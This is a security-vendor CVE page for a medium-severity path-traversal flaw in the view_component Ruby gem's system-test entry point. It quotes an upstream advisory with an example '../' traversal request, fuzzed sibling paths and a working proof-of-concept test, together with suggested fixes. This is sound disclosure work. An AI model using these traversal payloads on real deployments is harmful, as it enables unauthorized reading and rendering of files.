HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 44837 viewcomponent system test entry point path check
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.9CVE-2026-44837GHSA-HG3H-G7XC-F7VP

view_component: System Test Entry Point Path Check Allows Sibling Directory EscapeCVE-2026-44837

Answer in brief

CVE-2026-44837 records a Medium severity (CVSS 5.9) vulnerability in view_component: System Test Entry Point Path Check Allows Sibling Directory Escape. The current sources do not mark it as known exploited. The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 8, 2026Updated Sep 10, 2026Source checked Nov 1, 2026First seen by HOL Jun 11, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 5.9
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.9. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
view_componentrubygems>=3.0.0,<4.9.04.9.0
view_componentrubygems>=3.0.0 <4.9.04.9.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for view_component, view_component.
  2. 2Review the reported fix. Update view_component to 4.9.0; view_component to 4.9.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 8, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. Severity: Medium; test-route scoped. Example: ```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ``` The outside path is not inside the base directory, but it passes: ```ruby @path.start_with?(base_path) ``` ### Relevant Code `app/controllers/view_components_system_test_controller.rb`: ```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ``` The route then renders the resolved file: ```ruby render file: @path ``` ### Exploit Flow Example request: ```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ``` Flow: 1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file. The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment. ### Targeted Fuzz Result The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory: ```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ``` ### PoC Test Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`: ```ruby # frozen_string_literal: true require "test_helper" require "fileutils" class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb") FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>") get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" } assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ``` Run: ```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ``` Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`. Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file. ### Suggested Fix Use path-aware containment instead of a raw string prefix. For example: ```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path) raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".." @path = path.to_s end ``` Or require a separator boundary: ```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ``` Add regression tests for: - A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Secret Exfiltration
EPSS
Not reported
CWE IDs
Not reported
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
5 linked sources
Open source record